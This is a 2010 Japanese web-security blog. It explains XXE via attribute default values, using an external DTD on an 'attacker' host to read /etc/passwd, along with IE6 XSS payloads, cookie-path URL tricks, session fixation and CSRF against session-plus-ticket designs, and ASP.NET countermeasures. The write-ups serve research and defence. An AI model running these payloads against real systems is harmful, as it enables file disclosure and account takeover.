T.Teradaの日記

2010-07-03

[]属性値のXXE攻撃 15:25 属性値のXXE攻撃を含むブックマーク

以前、属性値でのXXE(Xml eXternal Entity)攻撃を試したのですが、やり方がよく判りませんでした。

最近また試してみて、属性値での攻撃方法が判ったので日記に書いてみます。

Servletプログラム

以下のようなJava Servletプログラムをサーバに置きます。

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import org.w3c.dom.*;
import org.apache.xerces.parsers.*;
import org.xml.sax.*;

public class AttrTest1 extends HttpServlet {
  public void service(HttpServletRequest request,
                      HttpServletResponse response)
    throws ServletException, IOException {

    try {
      // リクエストBODYをParseする
      DOMParser parser = new DOMParser();
      parser.parse(new InputSource(request.getInputStream()));

      Document doc = parser.getDocument();
      // data1要素を取り出す
      Element data1 = (Element)doc.getElementsByTagName("data1").item(0);
      // data1要素のattr1属性の値を取り出す
      String attr1 = data1.getAttribute("attr1");

      // attr1属性値を出力する
      response.setContentType("text/plain; charset=UTF-8");
      PrintWriter out = response.getWriter();
      out.println("attr1 value: " + attr1);
    }
    catch (Exception e) {
      throw new RuntimeException(e);
    }
  }
}

プログラム内のコメントの通り、リクエストのBODYをParseして、data1要素のattr1属性値を取り出して、その値をレスポンスします。

このプログラムは、以下のような入力・出力処理を行います。

【入力】<data1 attr1="111&gt;222"></data1>

【出力】attr1 value: 111>222
ダメな攻撃方法

すぐに思いつくのは、下のようなXMLを食わせる攻撃です。

<?xml version="1.0"?>
<!DOCTYPE data1 [
<!ENTITY pass SYSTEM "file:///etc/passwd">
]>
<data1 attr1="&pass;"></data1>

しかし、これだとParseエラーとなってうまくいきません。どうも、属性値内では外部実体参照は使えないようです。

XMLの仕様書の「3.1 Start-Tags, End-Tags, and Empty-Element Tags」にも以下のような記述がありました。

Well-formedness constraint: No External Entity References

Attribute values MUST NOT contain direct or indirect entity references to external entities.

Extensible Markup Language (XML) 1.0 (Fifth Edition)
属性のデフォルト値を使う

じゃあどうすればいいんだという話です。

以前の日記(XMLをParseするアプリのセキュリティ(補足編)- T.Teradaの日記)で使った手法と似ていますが、パラメータ実体を使って属性のデフォルト値を細工するとうまくいきます。

まず、以下のような外部DTD(test1.dtd)を、攻撃者のサーバ上に用意します。

<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 "<!ATTLIST data1 attr1 CDATA '%p1;'>">
%p2;

1行目でパラメータ実体(%p1;)を定義します。「%p1;」は、攻撃対象サーバ上の/etc/passwdファイルの中身を参照します。次の行では、data1要素のattr1属性のデフォルト値を「%p1;」(つまり/etc/passwdの中身)だと定義するためのパラメータ実体(%p2;)を用意します。最後の行で「%p2;」を展開して、「%p2;」の中身をDTDとして評価させます。

攻撃対象のServletプログラムには、下のXMLを食わせます。

<?xml version="1.0"?>
<!DOCTYPE data1 SYSTEM "http://attacker/test1.dtd" >
<data1 />

外部DTD(test1.dtd)により、data1要素のattr1属性が指定されない場合のデフォルト値は/etc/passwdファイルの中身になるため、属性値を省略したXMLを食わせると攻撃対象サーバ上の/etc/passwdの中身が返ってきます*1

#ただまあこの方法が使えることは滅多にないと思いますが…

*1:返ってくるとき、ファイルの中身に含まれる改行文字はスペースに正規化された状態になっています。

2010-06-12

[]HTML PurifierのSecurity Fix 03:19 HTML PurifierのSecurity Fixを含むブックマーク

HTML Purifierの4.1.1がリリースされました。今回のリリースには1件のSecurity Fixが含まれています。今日はその内容について少し書きます。

IEのCSSのurl()の扱い

以下のようなstyle属性があったとき、ブラウザはどのように解釈するでしょうか?

<span style="background: url('http://host/aaa\'\);color:red;')">111</span>

Firefox、Opera、Safariでは、「http://host/aaa');color:red;」というURIをもつbackgroundプロパティと解釈します。したがってcolorプロパティが有効になることはありません。これはCSSの仕様から見ても至極妥当な挙動です。

ところがIEだけが違う解釈をします。IEで上記のHTMLを表示させると、backgroundプロパティのURI値は「http://host/aaa\'\」と解釈されます。そして、その後ろのcolorプロパティが有効となり「111」という文字は赤字で表示されます。

このように、IEはurl()内の文字列リテラルにおいて「\」によるエスケープを解釈しません。HTML Purifierの4.1.1未満にあった脆弱性は、IEのこのような特異な解釈(バグ)を適切にハンドリングできないというものでした。

font-familyプロパティ

font-familyプロパティでも「'」または「"」で括ったリテラルが使用可能です。

こちらはどうなのか以下のHTMLで試してみます。

<span id="s1" style="font-family: 'aaa\';color:red;'">111</span>

<script>
alert(document.getElementById('s1').style.fontFamily);
</script>

このHTMLをIEで表示すると、他のブラウザと同じく「'aaa';color;red;'」がalertされます。つまり、font-familyについていえば、IEも「\」によるエスケープ構文をサポートしているということになります。

ならばurl()でも「\」エスケープをサポートすればよさそうなものですが、上で説明したようにそうはなっていません。ひょっとしたら、url()では「C:\terada\...」のようなパスが使われる可能性を考慮して、「\」エスケープを解釈しないのかも…と推測していますが、真相はわかりません。

とられた対策

HTML Purifier 4.1.1では以下の対策がとられました。

Rewrite CSS url() and font-family output logic.

The new logic is as follows:

  • Given a URL to insert into url(), check that it is properly URL encoded (in particular, a doublequote and backslash never occurs within it) and then place it as url("http://example.com").
  • Given a font name, if it is strictly alphanumeric, it is safe to omit quotes. Otherwise, wrap in double quotes and replace '"' with '\22 ' (note trailing space) and '\' with '\5C ' (ditto).

Public Git Hosting - htmlpurifier.git/commit

実はこの対策は私が提案したものがベースになっていたりします(Release Noteにcreditしてくれました。脆弱性自体はMario Heiderich氏が報告したようです)。

IEの挙動が変わらない限り、このようなちょっと面倒な対処をせざるをえないと思います。

[]JavaScriptの文字列リテラルでXSS 05:14 JavaScriptの文字列リテラルでXSSを含むブックマーク

たまに以下のようにJavaScriptの文字列リテラルに値が入るアプリを見ることがあります。

<script>
var foo="●";
...
</script>

値は「●」の箇所にHTMLエスケープされて出力されます(下の方の例も同じ)。

こんなケースでどうXSSするか?という話です。

簡単にXSSできるケース

以下のパターンだとXSSするのは簡単です。

<script>
var foo="●"; var bar="●"; ...
</script>

?foo=\&bar=-alert(123)//のような値を与えるだけです。

難しいケース

次はこんなパターンを考えます。

<script>
var foo="●";
var bar="●";
...
</script>

こうなると難易度はぐっと上がります。というよりも、ほとんどの場合はXSSできません。

しかし、状況次第ではXSSできることもあります。

攻撃方法

HTMLの文字コードにはUTF-8が指定されているものの、UTF-8として不正なバイトシーケンスがHTMLに出力できる状況であるとします。

そんな状況ならば、?foo=%F0&bar=-alert(123)//のような値を与えることでXSSできます。

%F0(0xF0)はUTF-8の4バイト文字の先頭バイトです。IE6だと%F0の後ろの3バイトを食いつぶしてくれます。JavaScriptコード上で、[0xF0]の後ろに「"」(0x22)、「;」(0x3B)、LF(0x0A)の3バイトがありますが、それらがうまいこと食いつぶされるということになります。

HTMLの改行文字がLFではなくCR LFならば、後ろの4バイトを食いつぶすために、UTF-8の「5バイト文字」を使う必要があります。厳密にいうと「5バイト文字」というのは規格上存在しませんが、IE6には存在するようで、fooに「%F8」を入れれば後ろの4バイトが食いつぶされてうまくXSSできます。

IE6+UTF-8での"食いつぶし"

余談ですがIE6のUTF-8処理はかなりユニークです。

ここでは「©」(U+00A9)という文字をとりあげて説明します。

この文字は、UTF-8でエンコードすると[0xC2][0xA9]というバイトになります。これを2進数(ビット)であらわすと、以下のようになります。

0xC2     0xA9
11000010 10101001

UTF-8では2バイト目以降の先頭2ビット(上の赤字部分)は「10」で固定です。固定なので、コードポイントを示すデータではなく、「2バイト目以降である」ことを示す意味しか持っていません。とらえようによってはどうでもいい部分ということです。

IE6のUTF-8デコーダは、この2ビットを無視してデコードします。これを利用すると、ある文字を複数のバイト列で表現することができます。

11000010 00101001 ←0xC2 0x29
11000010 01101001 ←0xC2 0x69
11000010 10101001 ←0xC2 0xA9(ただしいU+00A9)
11000010 11101001 ←0xC2 0xE9

IE6は、上の4つのバイト表現をすべて「©」(U+00A9)と解釈してしまいます。

このようにIE6のデコーダはかなりルーズにできています。それもあって、直後の1バイトが食いつぶされるだけでなく、先の例のように3バイト(もしくはそれ以上)が食いつぶされるような現象が発生します。

その他の方法

UTF-8以外ではどうかというと、(IE6・IE7では)EUC-JPの場合にXSSを成功させることができます。

しかも、UTF-8では「foo」「bar」の2つの変数を制御できなければ攻撃は成功しませんが、EUC-JPでは1つの変数に任意のバイトを入れられるだけで攻撃可能です。出力される箇所がSCRIPTタグの中でなくてもかまいません。

詳細はあえて割愛しますが、EUC-JPのデコーダもかなりおかしなことになっています。IE8ではかなり改善されていますが、それでもまだ中途半端なところがあります。

トラックバック - http://d.hatena.ne.jp/teracc/20100612

2010-05-11

[]CookieのPath 22:43 CookieのPathを含むブックマーク

遅ればせながら、高木さんの日記を見ました。

高木浩光@自宅の日記 - 共用SSLサーバの危険性が理解されていない

CookieのPath指定がセキュリティ上意味を持たない件について書かれています。

日記に書かれたIFRAMEを使う方法で既に「詰み」なのですが、もうちょっと別の方法(JavaScriptを使わない方法)について書きます。

URLを細工する

被害者の「http://example.jp/aaa/」のCookieを「http://example.jp/bbb/」から取得することを考えます。攻撃者は「/bbb/foo.cgi」というCGIを置いて、被害者に以下のようなURLを踏ませます。

URL1: http://example.jp/aaa/%2E./bbb/foo.cgi
URL2: http://example.jp/aaa/..%2Fbbb/foo.cgi

※ %2Eは「.」を、%2Fは「/」をURLエンコードしたもの

例えば、IE6やSafari4でURL1を踏むと、ブラウザはfoo.cgiが「/aaa/」の下層にあるとみなすため「path=/aaa/」のCookieをサーバに送ります。一方で、たいていのWebサーバはURL1の「%2E./」を「../」と解釈するため、「/aaa/%2E./bbb/foo.cgi」を「/bbb/foo.cgi」にマップします。つまり、「path=/aaa/」のCookieを「/bbb/」以下のプログラムから参照できるということです。

URL2も同じです。たいていのブラウザ(IE6〜8やFirefox3)でURL2を踏むと、URL1と同じように「path=/aaa/」のCookieがサーバに送られます。一方で、IISやCoyoteなどの一部のWebサーバは、URL2に対するリクエストを「/bbb/foo.cgi」にマップします(ちなみにIISでは「%5C」を使うこともできます)。

攻撃への利用(1)

しかし、上述のようにIFRAMEを使う方法などでCookieを取ったり、(Cookieにhttponly属性が設定されている等の理由で)Cookieが取れなくても、IFRAMEやXMLHttpRequestを使ってページのデータを盗むことができます。

ですので、上のようなURLを細工するテクニックは本当に役に立たないトリビアでしかないわけですが、むかし一回だけあるサイトのDOM Based XSSの検査で役に立ったことがあります。

そのサイトのページのJavaScriptでは、document.URL(http://example.jp/XXX/hoge.html)から「XXX」の部分を切り出して、そのままdocumnt.write()していました。そのため、(少なくともIE6では)「XXX」にタグを入れたURLを作って被害者に踏ませればXSSするのですが、困ったことに「XXX」を操作すると404(Not Found)になります。

そんな状況で使ったのが「%2E./」です。具体的には「http://example.jp/(攻撃コード)/%2E./hoge.html」とすることで、404にならずに攻撃コードをJavaScriptに送り込むことができます。

あとは、(攻撃コード) の部分をどうするかを考えればよいのですが、実は意外とややこしいです。

攻撃コードはURLに入れなければならないために制約があります。スペース等の空白文字類は使えませんし、「/」を使うこともできません(JavaScriptがURLを「/」でsplitするため)。空白文字類と「/」が使えないということは、属性付きのタグや閉じタグを入れられないということです。

このような状況には極たまに遭遇するのですが、そんなときに使うのは「<style>body{a:expression(alert(123))}」のようなパターンです。閉じタグがなくて気持ち悪いですが、少なくともIE6では動いてくれます。

攻撃への利用(2)

またCookieとPathの話に戻ります。

先の例は、「URLを操作することで、本来はCookieが送信されないページに対して、Cookieを無理やり送信させる」ものでした。その逆で、「本来はCookieが送信されるページに、Cookieを送信させない」こともできます。非常に限定された状況では、攻撃者にとって「Cookieを送信させない」ことがメリットになることもあると思います。

例えば、Cookie Aは「path=/」に発行され、Cookie Bは「path=/test/」に発行されているとします。ブラウザがこの2つのCookieを持っているならば、「/test/foo.html」にアクセスするとA・Bの2つのCookieがサーバに送られます。

ところが、「//test/foo.html」のようなURL(スラッシュをダブらせる)に被害者をアクセスさせると、「path=/test/」のCookie Bはサーバに送られず、「path=/」のCookie Aだけがサーバに送られます。

このような状況が、攻撃者にとって得になるか?というと、そんなケースはあまりないと思います。ただ、「T.Teradaの日記 - セッションIDと認証チケット」に書いたような複数のCookieを使用しているサイトにおいて、アプリが何らかの問題を抱えているという条件下であれば、一部のCookieを送らせないことが攻撃者を手助けすることもあるかもしれません。

2010-05-02

[]セッションIDと認証チケット 08:44 セッションIDと認証チケットを含むブックマーク

以前の日記で、ASP.NETのセッション固定対策について書きました。

その結論をまとめると、

  • ASP.NETにはセッションIDを変更するまともな方法が存在しない。
  • そのため、ASP.NETではフォーム認証機構(FormsAuthentication)を使ってログイン状態管理を行うべき。
  • FormsAuthenticationは、通常のセッションID(ASP.NET_SessionId)とは別の認証チケット(Cookie)をログイン成功時に発行し、この認証チケットによってログイン後のユーザの識別を行う仕組み。

ということになります。

ASP.NETのサイトに限らず、セッション(PG言語やフレームワークに組み込みのセッション機構)と、認証チケットの両方を使用しているサイトはたまに見られます*1

特にポータルサイトのような大規模なサイトは、ログインをつかさどるシステムと、会員向けのブログや日記、ニュース、ショッピングなどの各種機能を提供する多数のサブシステム(開発言語やサーバの物理的な場所などはバラバラ)から構成されています*2。これらのシステムでSSO(Single Sign On)を実現するために、ログインをつかさどるシステムが認証チケットを発行し、各種会員向け機能を提供するサブシステムでは、サブシステム毎のデータを扱う個別のセッションと、認証チケットの両方を使用していることがあります。

本日はそのようなサイトで見られる脆弱性について書きたいと思います。ただし、いわゆるセッション機構と認証チケットの両方を使用するといっても、その使い方はサイトによって千差万別であり、脆弱性のあり方もまた千差万別です。あまり網羅性は気にせずに、思いつくままに書いていきたいと思います。

前提とするのはPCブラウザ向けのサイトです。認証チケット、セッションIDともにCookieに格納しているとします。ただし、WebアプリはGETパラメータで与えられた認証チケット・セッションIDも受け付けると仮定します(説明を判りやすくするため)。認証チケットは「AuthTicket」、セッションIDは「SessID」という名前であらわします。

1.セッションIDと認証チケットの両方を見るタイプ

まずは、セッションIDと認証チケットの両方を、関連付けることなく使用しているサイトをとりあげます。

つまり、ログイン後のページでは、認証チケットをデコードして会員IDを得る処理を都度行うとともに、それとは独立して仕掛りデータの保存用にセッション変数を使うアプリです。

ASP.NETのFormsAuthenticationを使った場合も、特に何も考えずにセッションを使用したならばこの状態となります。

例としてとりあげるのは、ログイン後に会員個人情報の変更を行うアプリです。このアプリでは、ユーザがフォームで入力した個人情報をセッション変数に一時保存します。変更完了処理では、セッション変数から個人情報を取り出して、それを会員に紐付けて会員情報DBに保存します。

1.1 セッション固定

このようなアプリでありがちなのはセッション固定の脆弱性です。

攻撃は、被害者が個人情報の入力を開始するよりも前に、被害者のブラウザにセッションIDを植えつけることからはじまります。

ただし、このアプリでは、セッションIDを固定化しても被害者のユーザになりすますことはできません。なりすますには認証チケットの方が必要で、なにか別の脆弱性でもない限り攻撃者はそれを入手することはできないからです。

しかし被害者は攻撃者が植えつけたセッションIDを持っており、被害者がフォームで入力した個人情報は、そのセッションIDに紐付いてセッション変数に保存されます。実際に、いま被害者は個人情報の入力を終えて確認画面を表示しており、セッション変数には被害者の個人情報が保存されているとします。攻撃者の狙いはこのデータを奪うことです。

このアプリでは、利用者が確認画面から入力画面に戻って情報を修正できるようにしており、このときセッション変数から情報を引き出してフォームに埋め込んだ画面をユーザに戻しているとします。

攻撃者はこの挙動を利用します。攻撃者は自ら以下のようなURLにアクセスします。

https://www.example.jp/inputProfileBack.cgi
        ?SessID=(被害者に使わせたセッションID)
        &AuthTicket=(攻撃者の認証チケット)

inputProfileBack.cgiは、(確認画面から戻って)個人情報を入力するフォームを表示するCGIです。

本来の正常なフローであれば、inputProfileBack.cgiはセッションID・認証チケットともに被害者のもの(Cookie)を受け取ります。しかし、前述のように攻撃者は被害者の認証チケットを入手することはできません。そのため、被害者の認証チケットの代わりに攻撃者の認証チケットを付けて入力画面にアクセスしています。何らかの認証チケットがないと、常にログイン画面にリダイレクトするようなアプリでは、このような小細工が必要です。

アプリ(inputProfileBack.cgi)がセッション変数内の個人情報の持ち主である会員と、認証チケットが指し示す会員が同じかをチェックするロジックを持たないならば、アプリにとっては有効な認証チケットと、有効なセッションIDの両方を受け取ることになります。アプリは素直にセッション変数内にある被害者の個人情報を埋め込んだ画面を攻撃者に返してしまうでしょう。

1.2 別人でコミットさせる

セッションIDが都度変化するような対策が施されている場合には、1.1の攻撃は成功しません。しかし他の方法による攻撃が成功する場合もあります。

さきほどと同じく、ログイン後に個人情報を変更するアプリを取り上げます。被害者は、個人情報の入力を終えて確認画面を表示しているとします。被害者のセッション変数には、入力された被害者の個人情報が保存されており、攻撃者はこれを奪おうとしています。

攻撃者はまず、被害者に以下のURLを踏ませます。

https://login.example.jp/login.cgi
        ?UserID=evil&password=evilpass

login.cgiはログインを行うCGIです。このURLを踏まされた被害者は、攻撃者の会員アカウントである"evil"でログインした状態("evil"の認証チケットCookieを持つ状態)となります。

一方、被害者のセッション変数には相変わらず被害者の個人情報が入っています。したがって、このまま被害者に個人情報変更を完了させれば、セッション変数内の被害者の個人情報を、攻撃者アカウントのものにすることができるかもしれません。

被害者に個人情報変更を完了させるには、通常はCSRF対策を突破しなければなりません。CSRF対策方法にもいくつかの種類がありますが、このアプリではパスワードを入力させるタイプのCSRF対策が取られていたとします。そうであれば、CSRF対策を突破するのは簡単です。

被害者に以下のURLを踏ませます。

https://www.example.jp/commitProfileChange.cgi
        ?Password=evilpass

commitProfileChange.cgiは個人情報変更を確定させるCGIです。被害者は今や"evil"でログインした状態ですので、ここでは"evil"のパスワードである"evilpass"をパラメータとしてつければよいことになります。

先ほどの1.1と同じく、アプリ(commitProfileChange.cgi)がセッション変数内の個人情報の持ち主である会員と、認証チケットが指し示す会員が同じかをチェックするロジックを持たないならば、セッション変数内の被害者の個人情報は、攻撃者の"evil"アカウントに紐付いて会員情報DBに保存されるでしょう。攻撃者は自分のアカウントである"evil"でログインして会員個人情報を参照するページに行けば、被害者の個人情報を盗み見ることができます。

ちなみに個人情報変更のCSRF対策として、パスワード以外のものを使うアプリも多くあります。そういう場合には、別のもう少し手のかかる方法を使って被害者に変更確定を強制できる場合もありますし、被害者が確認画面上の変更確定ボタンを押すのをじっと待つしかないこともあります。

なお、ここで書いたような攻撃(無理やり別人アカウントでログインさせた上で、変更をコミットさせる攻撃)は、認証チケットを使っているサイトでのみ成功するわけではありません。ルーズな処理を行っているならば、セッションだけを使っているサイトでも成功することがあります。

1.3 CSRF

今度はCSRF(Cross Site Request Forgery)攻撃です。今までと違って、攻撃者の狙いは被害者の情報を奪うことではなく、攻撃者が指定した値で被害者に個人情報変更を実行させることです。

認証チケットとセッションを併用するサイトにおいては、会員アカウントと紐付かないCSRF対策用のトークンを使用している問題に起因するCSRF脆弱性がしばしばみられます。

そのような問題を持つ場合、以下のような手順で攻撃が成功します。

まず、攻撃者は自らのアカウントでログインして個人情報変更の確認画面まで進めます。これにより、攻撃者のセッション変数には、攻撃者が入力した個人情報が保存されます。先ほどまでのアプリとは違い、このアプリではCSRF対策にワンタイムトークン(AntiCSRFToken)が使われているとしましょう。攻撃者は自身の確認画面のhiddenに入っているワンタイムトークンと、自身のセッションID(Cookie)をメモしておきます。

そして、認証チケットCookieのみを持っている被害者を、以下のような罠のURLにアクセスさせます(commitProfileChange.cgiは個人情報変更を確定させるCGIです)。

https://www.example.jp/commitProfileChange.cgi
        ?SessID=(攻撃者のセッションID)
        &AntiCSRFToken=(攻撃者のトークン)

被害者が罠を踏むと、サーバに送信される認証チケットCookieは被害者のものです。同時に送信されるセッションIDとCSRF対策用トークンは攻撃者のものです。

アプリが、セッションやトークンをアクセスしている会員と関連付けていない場合、アプリは受け取ったセッションIDとトークンを「妥当なペアである」と判断して、会員情報DBへの書き込み処理を進めようとするでしょう。アプリが受け取るセッションIDとトークンは、攻撃者が実際に自分のアカウントでログインして確認画面から取得した"本物"だからです。

攻撃者が入力した個人情報はセッション変数に入っています。これもアプリが会員と関連付けていないならば、この個人情報は被害者アカウントのものとして会員情報DBに登録されるでしょう。というのは、被害者が罠を踏んだ時にアプリに渡される認証チケットCookieは、被害者アカウントのものだからです。

2.最初だけ認証チケットを見るタイプ

「1.セッションIDと認証チケットの両方を見るタイプ」のアプリは、認証チケットとセッションの両方を、独立して使用するタイプのものでした。

それに対して、ここで取り上げる「2.最初だけ認証チケットを見るタイプ」のアプリは、最初のタイミングで認証チケットをデコードして会員IDを取り出し、それをセッション変数に保存します。既にセッション変数に会員IDが保存されている状況では、認証チケットは参照せずに、セッション変数の会員IDだけを見てアクセス者がどの会員なのかを識別します。

このようなアプリでも、セッション固定の脆弱性は多くみられます。

まず、攻撃者はWebサイトにアクセスしてセッションID Cookieを取得します。その後に、認証チケットCookieのみを持っている被害者を、以下のような罠のURLにアクセスさせます。

https://www.example.jp/id_init.cgi
        ?SessID=(攻撃者のセッションID)

id_init.cgiは、認証チケットをデコードして会員IDを取り出して、セッション変数に保存する処理を行うものだと思ってください。

攻撃者がつけたGETパラメータのセッションIDは、被害者の認証チケットCookieとともにWebアプリに送られます。アプリは認証チケットから被害者の会員IDを取り出して、それを攻撃者のセッション変数に保存してしまいます。

セッションIDがこのタイミングで変化しないならば、攻撃者はそのセッションIDを使ってアプリにアクセスすることで、被害者会員へのなりすましに成功します。

対策

様々な対策方法が考えられますが、なるべくシンプルなものを挙げます。まずは対策が簡単な「2.最初だけ認証チケットを見るタイプ」の対策から説明します。

「2.最初だけ認証チケットを見るタイプ」の対策

このタイプの対策は、通常のセッションのみを使うアプリと基本的に変わりません。

  1. ログイン時に、セッションIDを変更する。
  2. セッション変数内の情報をログイン時に消す。

ひとことでいうと、「ログイン時にセッションを再生成せよ」ということになります。

注意が必要なのは、ここでいう「ログイン」とは「認証チケットをデコードしてセッション変数に入れる」タイミングであるということです。また、2番目の「セッション変数内の情報をログイン時に消す」については、「1.2 別人でコミットさせる」のようなタイプの攻撃への対策として必要です。

「1.セッションIDと認証チケットの両方を見るタイプ」の対策

こちらは様々な対策方法がありますが、大きく分けて2つのアプローチがあると思います。

セッションと会員を関連付ける対策

既にみたように、このタイプのアプリへの攻撃の常とう手段は、セッションIDと認証チケットの片方を攻撃者のものに置き換えることです。ですので、両者をきちんと関連付けして、片方だけを置き換えられないようにしようというのが基本的な考え方です。

具体的には、会員と紐付けられるべき情報をセッション変数に出し入れする際に、(最低限)以下の処理を行います。

  1. 最初に、セッションがどの会員のものであるか、セッション変数に"しるし"をつける。
  2. 認証チケットが指し示す会員と、セッションに付けた"しるし"が異なる場合はエラーとする。

ASP.NETのFormsAuthenticationとセッションを同時に使う場合には、この方法をとるしかないと思います。

なお、セッションをまるごと会員と関連付けるのではなく、セッション変数内の個別の情報の単位で会員と関連付ける方法もあります。

セッションと会員を関連付けない対策

会員とセッションの関連付けをしないのならば、以下の対策が必要です。

  1. セッション変数に書き込みを行う都度、セッションIDを変更する。
  2. CSRF対策用トークンには、会員と紐付く情報(認証チケットやパスワード)と、セッションと紐付く情報(セッションIDそのものやセッション変数に入れたトークン)の両方を使う。

このケースでは、セッションは会員と関連付かないため、ログイン前のセッション固定対策と同じように、毎回のセッションID変更が必須となります。

また、CSRF対策には2つのトークンが必要になります*3。なぜならば、このケースでは、ユーザは「認証チケットを持ったある会員」という顔と、「セッション変数の持ち主である匿名の誰か」という2つの顔を持つ存在であり、2つの顔の片方が置き換えられないようにする必要があるからです。

しかし、一人のユーザが2つの顔を持つという状況はややこしいので、セッションと認証チケットを関連付けするか、「1.最初だけ認証チケットを見るタイプ」にした方が無難ではないかと思います。

*1:認証チケットのことをセッションと呼ぶこともあるため紛らわしいですが、この日記でいう認証チケットとは、ログイン時に発行され、チケットそのものに会員IDやログイン有効期限等の情報を含んでいるトークンを指しています。またセッションとは、JSESSIONID、PHPSESSID、ASP.NET_SessionIdなどのように、キーをクライアントにCookie等の形で渡して、それに紐付く情報をサーバ側のセッション変数に保存できる仕組みを指しています。

*2:私自身も過去にこのようなシステムの開発に携わっていました。

*3:正確には、2つを統合した1つのトークンを使うことも可能です。

2010-04-24

[]ASP.NETのセッション固定対策 15:55 ASP.NETのセッション固定対策を含むブックマーク

本日は、ASP.NETでログイン機能をつくる際のセッション固定対策について書きます。

ログイン状態の管理には、ASP.NETが提供するセッション機構(ASP.NET_SessionId Cookie)を使っているとします。

ASP.NETでのセッション再生成

ログイン機能のセッション固定対策は、ログイン時に新たなセッションを開始することです。既存のセッションがなければ新たにセッションを開始し、既存のセッションがあるならばそのセッションは再生成されなければなりません。

しかし、ASP.NETはセッションを再生成する方法を提供していません。

それはJavaも同じなのですが、TomcatだとHttpSession#invalidateでセッションを無効化することで、セッションを再生成することができます*1

ASP.NETでも普通に考えると、Session.Abandonという同等のメソッドを利用することでセッションを再生成できそうだと考えてしまいますが、Session.Abandonには以下のような問題があります。

ところで、Abandonメソッドのドキュメントをよく読むと、次の記述がある。

Abandon メソッドを呼び出すと、現在のセッションが無効になり、新しいセッションを開始できます。Abandon により End イベントが発生します。次の要求に対して Start イベントが発生します。

Abandonメソッドで破棄したセッションオブジェクトに代わる、次のセッションオブジェクトが生成されるのは、Abandonメソッドを呼び出したHTTPリクエストの、次回のHTTPリクエスト時だというのだ。

ASP.NETで「ログイン成功後に新しいセッションを開始」は可能なんだろうか? - 熱燗ロックのブログ

引用元の「熱燗ロックのブログ」が問題を判り易く解説していますが、私なりにまとめると、

  1. ログイン成功時にSession.Abandonを呼ぶとセッションが無効化されるが、新しいセッションは次のリクエストを発行するまで開始されない。
  2. そのためログイン成功時にセッション変数にユーザID等を保存して、それを次のページに引き継ぐことができない。

ですので、次のページに安全に(改竄されない形で)ユーザID等を渡すにはどのようにすればよいのか?という問題が生じます。

安全に(改竄されない形で)データを渡す

改竄防止を意図すると、ログイン成功時に以下のような応答を返す方法が考えられます。

<form action="SessionRegenerate.aspx" method="post">
<input type="hidden" name="UserID" value="(UserID)">
<input type="hidden" name="MAC" value="(改竄を防止するためのMAC)">
<input type="submit" value="次へ">
</form>

この画面で、ユーザが「次へ」ボタンをクリック(もしくはJavaScriptで自動サブミット)すると、UserIDが改竄防止のためのMACとともにSessionRegenerate.aspxに渡されます。SessionRegenerate.aspxではMACを検証して、改竄がされていなければセッション変数にユーザIDを格納する処理を行います。

// SessionRegenerate.aspx

String UserID = Request.Form["UserID"];
String MAC = Request.Form["MAC"];

If (checkMAC(UserID, MAC)) {
    Session["UserID"] = UserID;
    Response.Redirect("MemberTop.aspx");
}

なお、ASP.NETには改竄対策が施されたViewStateやFormsAuthenticationTicketといった仕組みがあるため、実際にはMACを独自実装する必要はありません。上のコードでMACを使っているのは、単にその方が説明がしやすいという理由です。

Session Adoption

しかし、このMAC(あるいはViewState等)を使う方法はうまく機能しません。そもそもの話としてこの通りに実装するとセッション変数はクリアされるものの、セッションIDが変更されないのです。

実はASP.NETは無効になったセッションIDであっても再利用してしまう"癖"があります。そのためSessionRegenerate.aspxは、その前のログイン処理でAbandonされたセッションIDの値を変更することなく使い続けます。

この癖に対処するためには、ログイン処理でCookie(ASP.NET_SessionID)を消してサラな状態にしてから、SessionRegenerate.aspxに移動しなければなりません。

// Login.aspx

If (checkPassword(UserID, Password)) {
    Session.Abandon();
    // Cookieを消す
    HttpCookie c = new HttpCookie("ASP.NET_SessionId", "");
    Response.Cookies.Add(c);
}

なんとも汚い感じでいやなのですが、この辺りはどうも仕様のようで、Microsoftのサポートページ(no title)でも同じ方法が紹介されています。

なお、ASP.NETが無効になったセッションIDを再利用するという事実は、ASP.NETにSession Adoptionの問題があることを示唆しています。実際のところ、一定の長さや文字種類の条件を満たすセッションIDであればなんでもASP.NETは受け入れてしまいます*2

この方法の問題点

Cookieを消すコードをLogin.aspxに追加することで、ようやくログイン時にセッションが再生成されるようになります。一見するとこれで所期の目的を達成したかのようですが、実はまだ問題があってセッション固定攻撃を成功させることができます。

攻撃のシナリオは2つあります。

シナリオ1

1つ目のシナリオでは「消えないCookie」を使います。

// Login.aspx

HttpCookie c = new HttpCookie("ASP.NET_SessionId", "");
Response.Cookies.Add(c);

これは、上のアプリのログイン処理(Login.aspx)で使われているCookieを消すコードです。これにより、下のSet-Cookieヘッダが返されます。

Set-Cookie: ASP.NET_SessionId=; path=/

攻撃者は、このコードでは消えないようなCookieを被害者のブラウザに植えつけておきます。

Cookieを消させない方法の1つ目は、Cookieのスコープを利用するものです。Cookieを削除するには、発行された時と同じドメインやパスを指定しなければなりません。しかし、ブラウザから送られるCookieのドメインやパスをサーバ側で知る方法はなく、決め打ちして削除を試みるしかありません。ですので、うまいことドメインやパスを操作したCookieを被害者のブラウザに植えつけておけば、Cookieは消されなくなります。

攻撃者のCookieが消えずに、被害者のUserIDとそのMAC(POSTパラメータ)とともにSessionRegenerate.aspxに送られれば、SessionRegenerate.aspxは攻撃者のセッションIDを被害者のアカウントでログインした状態に変えてしまいます。

2つ目の方法は、事前に被害者に植えつけておくCookieの名前や値を操作するものです。例えば「asp.net_sessionid」のような小文字のCookieを被害者のブラウザにセットします。ブラウザはCookieの大文字・小文字を区別するため、このCookieは上のSet-Cookieヘッダによって削除されません。一方でASP.NETは基本的にCookieの大文字・小文字を区別しないため、小文字でもセッションIDとして受け入れてしまいます*3

シナリオ2

2つ目のシナリオはタイミングを利用します。

Login.aspxの応答のSet-CookieヘッダによってCookieが消されてから、SessionRegenerate.aspxにアクセスするまでの間には時間があります。この間に、被害者のブラウザにセッションID Cookieを植えつけます。

これは針の穴を通すような攻撃ですが、成功する可能性はゼロではありません。

Cookieが無いことを確認する

上の攻撃シナリオ1,2に対処するために、ログイン成功直後にアクセスするSessionRegenerate.aspxを以下のように変更します。

// SessionRegenerate.aspx

// リクエストにCookieがない && MACが正しいことを確認する
If (Request.Headers["Cookie"] == null && checkMAC(UserID, MAC)) {

    Session["UserID"] = UserID;
    Response.Redirect("MemberTop.aspx");
}

何らかのCookieが付いている場合にはログイン処理(セッション変数にユーザIDを格納する処理)をさせないようにしています。

